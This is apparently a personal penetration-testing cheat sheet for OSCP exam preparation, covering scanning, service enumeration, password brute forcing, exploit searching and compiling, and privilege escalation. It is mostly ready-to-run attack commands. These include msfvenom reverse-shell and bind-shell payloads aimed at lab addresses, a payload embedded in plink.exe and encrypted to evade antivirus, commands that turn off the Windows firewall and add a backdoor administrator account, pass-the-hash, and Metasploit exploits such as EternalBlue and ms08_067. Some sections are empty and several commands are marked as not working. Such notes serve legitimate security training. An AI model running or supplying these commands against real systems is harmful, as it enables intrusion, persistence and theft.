Simon Owens
Penetration Testing Cheat Sheet (inprogress)
Scanning
    ●   Nmap - telnet, ssh, rpc, smb, http, general vulns, etc
          o nmap --script=vuln <ip>
          o nmap -v -sS -A -T4 target
    ●   masscan & http screenshot - quickly scan target and screenshot all directories
            o masscan -p0-65535 <ip> --rate 150000 -oL output.txt
            o idk why neither one will work
    ● Dirbuster - http/https directory traversal
    ● Brup Suite - http/https scanning, parameter injection(LFI&RFI), session, XXS
    ● Nikto - slow slow slow
    ● Peeping Tom - web
Port/Service Enumeration
        Users and system policies
              ●   Enum4linux -a
              ●   nbtscan -r <ip-range>
              ●   nbtscan-unixwiz -f <ip-range>
              ●   nmap -p --script=smb-os-discovery.nse <ip>
        FTP
              ●   ftp-proftpd-backdoor.nse, ftp-vsftpd-backdoor.nse, ftp-vuln-cve2010-4221.nse
              ●   nmap -p 21 --script=ftp-anon.nse <ip>
              ●   ProFTPD-1.3.3c Backdoor
                  ProFTPD 1.3.5 Mod_Copy Command Execution
                  VSFTPD v2.3.4 Backdoor Command Execution
              ●   ls -lat
              ●   cd
              ●   get <file>
        Telnet
           ●      nmap -p 23 --script=telnet-ntlm-info.nse
           ●      potentially bruteforce or no auth
        SMB
              ●   nmblookup -A target
                  smbclient //MOUNT/share -I target -N
                  rpcclient -U "" target
              ●   nmap -T4 -v -oA shares --script smb-enum-shares --script-args
                  smbuser=username,smbpass=password -p445 192.168.1.0/24
              ●   nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
Simon Owens
            ●   smbclient -L //192.168.1.100 - Fingerprint SMB Version
      SSH
         ● Best just to scan for versions that are vulnerable… often pretty secure (except p1)
         ●
         ● Vulnerable Versions: 7.2p1,
      SMNP
         ●      snmpcheck -t 192.168.1.X -c public - doesn’t work
         ●      snmpwalk -c public -v1 192.168.1.X 1|grep hrSWRunName|cut -d* * -f - doesn’t work
         ●      snmpenum -t 192.168.1.X - doesn’t work
         ●      onesixtyone -c names -i hosts - doesn’t work
         ●      nmap -sV -p 161 --script=snmp-info TARGET-SUBNET ←----- SNMPv3
      SMTP
         ●      nmap -p 25 --script=vuln <ip>
         ●      nmap -p 25 --script=smtp-enum-users.nse
         ●      nmap -p 25 --script=smtp-ntlm-fin.nse
      TFTP
         ● nmap -p69 --script=tftp-enum.nse
         ● vuln tftp server 1.3, 1.4, 1.9, 2.1, and a few more
      Oracle
            ●   oscanner -s <ip> -P 1521
                Fingerprint oracle tns
            ●   tnscmd10g version -h <ip>
            ●   nmap -p 1521 --script=oracle-sid-brute
            ●   nmap -p 1521 --script=oracle-brute
            ●   https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#finger-a-specific-
                username - in the middle of the cheatsheet is an oracle priv esc and exploitation guide
         ●      Some privilege escalation and remote exploits exist for oracle
      MSSQL
         ●      nmap -p 1433 -sU --script=ms-sql-info.nse 192.168.1.108 192.168.1.156
         ●      exploit/windows/mssql/mssql_payload
      RDP
         ● nmap -p 3389 --script=rdp-vuln-ms12-020.nse
      TLS&SSL
         ●      https://github.com/drwetter/testssl.sh.git
         ●      ./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
      VNC
            ●   nmap -p 5900 --script==vnc-info.nse <ip>
            ●   vnc-brute
Simon Owens
           ●    vnc-title
        POP3
        Unknown ports
            ● netcat – makes connections to ports. Can echo strings or give shells
            ● sfuzz – can connect to ports, udp or tcp, refrain from closing a connection, using basic
              HTTP configurations
Web Penetration Testing (in progress)
        HTTP/HTTPS Vulnerabilities
            ● nikto -h <ip>
            ● searching
        Brute forcing Directories
           ● dirbuster
        WordPress/Jumla Web/PHP/Redis Applications
           ●
        Ngnix/Apache/Tomcat Web Hosting
            ●
        Directory Traversal
            ●
        Parameter Injection - pg 258
            ●
        RFI - 243
             ●
        LFI - 236
            ●
        Cross Site Scripting - 228
           ● <script>alert(“XSS”)</script>
        Database Analysis - 245
           ●
Password Brute Forcing
        hash-identifier - to identify the has you are trying to crack with john
    ●   John the ripper
           o
    ●   Medusa
           o medusa -h 10.11.1.219 -u admin -P password-file.txt -M http -m DIR:/admin -T 10
Simon Owens
   ●   Ncrack
          o     ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.35
   ●   Hydra
          o     hydra -l root -P password-file.txt 10.11.1.219 ssh
          o     hydra -P password-file.txt -v 10.11.1.219 snmp
          o     hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V
           o    hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V
           o    hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
   ●    Cracking Hashes
             o john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
             o
    ● Passing the Hash
             o export
                  SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A656
                  1896
             o pth-winexe -U administrator% //10.11.01.76 cmd
fcrackzip for files
Exploit Development
       There is a variety of places you can search for exploits.
           ●    NVD - search patches, cve, and applications for cve details, has patch info, similar Mitre
           ●    Mitre - cve info
           ●    http://www.securityfocus.com/bid - search for vulnerabilities by cve or version
           ●    https://www.rapid7.com/db/vulnerabilities - “search” command 1800 exploits
           ●    https://www.exploit-db.com/ - “searchsploit” command 38147 exploits
           ●    searchsploit --colour -t php 5 | grep -vi '/dos/\|\.php[^$]' | grep -i '5\.\(5\|x\)' - searching for 5.x and 5.5
                exploits for “php”
           ●    https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
           ●
Simon Owens
      Framework
         ● Metasploit
         ● Routersploit – embedded devices
      Windows compiler
          ● i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe
          ● wine 646.exe 10.11.12.65
      Linux compiler
          ● gcc -m32 exploit.c -o exploit
      Bad Interpreter
              dos2unix my-script.pl
Simon Owens
      C/C++ Syntax Crap
Simon Owens
Make all arrays 1 bigger than the bytes you will store for \0
memset everything to \0
strcpy bytes
        for (int i=0; i<*desired bytes*; i++){
                 strcat(nops, “\x90”);
strcat all into one shell
Windows Exploit: 152
Linux Exploit: `73
Simon Owens
        Python --> Exe
            ●   pyinstaller script.py -F
            ●   cd dist/
        Finding EIP
            ●   crash="\x41" * 4379
            ●   /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4379
           ● /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4379
           ● -q 46367046
Creating Reverse Shells
         Sometimes your exploits will be too big to run in memory to do a file transfer. use “upx -9
<file>” to compress files for file transfer. Use “https://github.com/reider-roque/pentest-
tools/tree/master/shells” for various shells. If you are able to inject a file on their web sever, use
“https://github.com/Pashkela/Cfm_Shell_v3.0_edition/blob/master/shell.cfm”
for any web shells: https://netsec.ws/?p=331
    ●   Staging
        msfconsole > use exploit/multi/handler
        set payload windows/shell/reverse_tcp
    ●   Encrypting Shells to avoid AV - (35/70) instead of (50/70) being caught
        copy the exploit to /usr/share/windows-binaries/hyperion directory
        wine hyperion.exe <org.exe> <encrypted.exe>
    ●   Reverse Shell - staged
    ●   Reverse Shell - non-staged
Simon Owens
    ●   Reverse shell - bad characters
         msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 -f c –e
        x86/shikata_ga_nai -b "\x00\x0a\x0d"
         msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e
        x86/shikata_ga_nai
    ●   Reverse shell - certain size
        msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00'
        -f python
    ●   Reverse Shell - encoding
        -e x86/shikata_ga_nai    or -e
    ●   Reverse Shell - Saving in Executable
        msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -o
        shell_reverse.exe
    ●   Reverse Shell - embedding in executable
        msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -e
        x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o
        shell_reverse_msf_encoded_embedded.exe
FIREWALLS - OPENING PORTS
NetSh Advfirewall set allprofiles state off
Windows XP
Important: If you are a member of the Administrators group, run the commands from a command
prompt. To start a command prompt, find the icon or Start menu entry that you use to start a command
prompt session.
rem Open TCP Port 3389
netsh firewall add portopening TCP 3389 "Zoo TCP Port 3389"
Windows Server 2008, Windows Vista, or greater
Important: If you are a member of the Administrators group, and User Account Control is enabled on
your computer, run the commands from a command prompt with elevated permissions. To start a
command prompt with elevated permissions, find the icon or Start menu entry that you use to start a
command prompt session, right-click it, and then click Run as administrator.
rem Open TCP Port 80 inbound and outbound
netsh advfirewall firewall add rule name="Zoo TCP Port 80"
ADDING ADMINISTRATORS
Simon Owens
net user /add simon password
net localgroup administrators simon /add
Searching for files
   ● dir /s *foo*
Admin -> system
     ●
File Transfer
    ● Lol too much information see oscp file transfer chapter
    ● upx -9 nc.exe ←-- reduce the size of files
System Baselining
             ● Linux script in same directory
             ● Windows script in same directory
Privilege escalation - https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ - basic priv
Pirivlege escalation - http://www.fuzzysecurity.com/tutorials/16.html
   ● .\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
Understanding which OS you have without shell
    ●   https://www.quora.com/How-can-I-tell-what-version-of-Windows-is-installed-on-a-hard-drive-
        without-booting-it
    ●
Stego
   ● md5sum picture.jpg
   ● steghide extract -sf picture.jpg
Network Capture
    ●   Wireshark
Common Exploits
        Old Linux Kernel
                 CVE-2016-5195 (< 3.9) (priv+)
                 https://www.exploit-db.com/exploits/26131/ (< 3.8.9 priv+)
        Windows Vista
                 use exploit/windows/smb/ms09_060_smb2_negotiate_func_index
        Windows XP
Simon Owens
               use exploit/windows/smb/ms08_067_netapi
               use exploit/windows/dcerpc/ms06_040_netapi - doesn’t exist
      Windows 2k/2003
               use exploit/windows/smb/ms08_067_netapi
               use exploit/windows/dcerpc/ms06_040_netapi - doesn’t exist
               /usr/share/exploitdb/platforms/windows/remote/66.c <- ms03-026
      Windows 7
               use exploit/windows/local/bypassuac
      Windows Server 2008
               use exploit/windows/smb/ms09_060_smb2_negotiate_func_index
      Telnet
               Should be able to be brute forced easily
      SMB
               exploit/windows/smb/ms17_010_eternalblue (windows)
FTP Commands
      ftp machinename
      At times you may wish to copy files from a remote machine on which you do not have a
      loginname. This can be done using anonymous FTP. When the remote machine asks for your
      loginname, you should type in the word anonymous. Instead of a password, you should enter
      your own electronic mail address. This allows the remote site to keep records of the anonymous
      FTP requests. Once you have been logged in, you are in the anonymous directory for the
      remote machine. This usually contains a number of public files and directories. Again you should
      be able to move around in these directories. However, you are only able to copy the files from
      the remote machine to your own local machine; you are not able to write on the remote
      machine or to delete any files there
Simon Owens
SMB Commands
       smbclient -L zimmerman
       smbclient \\\\zimmerman\\public mypasswd
Meterpreter Cheat Sheet
Simon Owens
Buffer Overflow Walkthroughs
https://www.youtube.com/watch?v=1S0aBV-Waeo
Penetration Walkthroughs
https://forums.offensive-security.com/showthread.php?t=4689
https://highon.coffee/blog/walkthroughs/
Simon Owens
https://www.youtube.com/watch?v=1-a-P1Q2AnA
Vulnerable VMs
https://www.vulnhub.com/
https://github.com/rapid7/metasploitable3/tree/master/iso
https://community.rapid7.com/community/metasploit/blog/2012/06/12/introducing-metasploitable-2
https://www.hackthebox.eu/
Vulnerable Web
http://www.dvwa.co.uk/
https://github.com/OWASP/OWASP-VWAD
Tutorials
https://www.fuzzysecurity.com/tutorials.html
https://www.root-me.org/?lang=en
http://overthewire.org/wargames/narnia/ - buffer overflows
Useful Blogs
https://highon.coffee/blog/ - such a great resource
https://blog.g0tmi1k.com/
Cheat Sheet
https://highon.coffee/blog/lfi-cheat-sheet/
https://highon.coffee/blog/reverse-shell-cheat-sheet/
Python Connecting to TCP Socket
Simon Owens
Python Connecting to a UCP Socket
Other Cheat Sheets
Simon Owens
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/
https://highon.coffee/blog/linux-commands-cheat-sheet/
HTTP
        uniscan -u http://192.168.1.202/ -qd
      nmap -sV --script=http-enum <target>
      OWASP ZAP
      wpscan --url http://192.168.1.192/folder --enumerate u
      wpscan -u 192.168.1.192/folder --wordlist
/usr/share/wordlist/rockyou.txt --username tommy
Exam Restrictions
You cannot use any of the following on the exam:
    ●  Spoofing (IP, ARP, DNS, NBNS, etc)
    ●  Commercial tools or services (Metasploit Pro, Burp Pro, etc.)
    ●  Automatic exploitation tools (e.g. db_autopwn, browser_autopwn, SQLmap, SQLninja etc.)
    ●  Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core Impact,
       SAINT, etc.)
   ● Features in other tools that utilize either forbidden or restricted exam limitations
Any tools that perform similar functions as those above are also prohibited.
You are ultimately responsible for knowing what features or external utilities any chosen tool is using.
The primary objective of the OSCP exam is to evaluate your skills in identifying and exploiting
vulnerabilities, not in automating the process.
You may however, use tools such as Nmap (and its scripting engine), Nikto, Burp Free, DirBuster etc.
against any of your target systems.
Please note that we will not comment on allowed or restricted tools, other than what is included inside
this exam guide.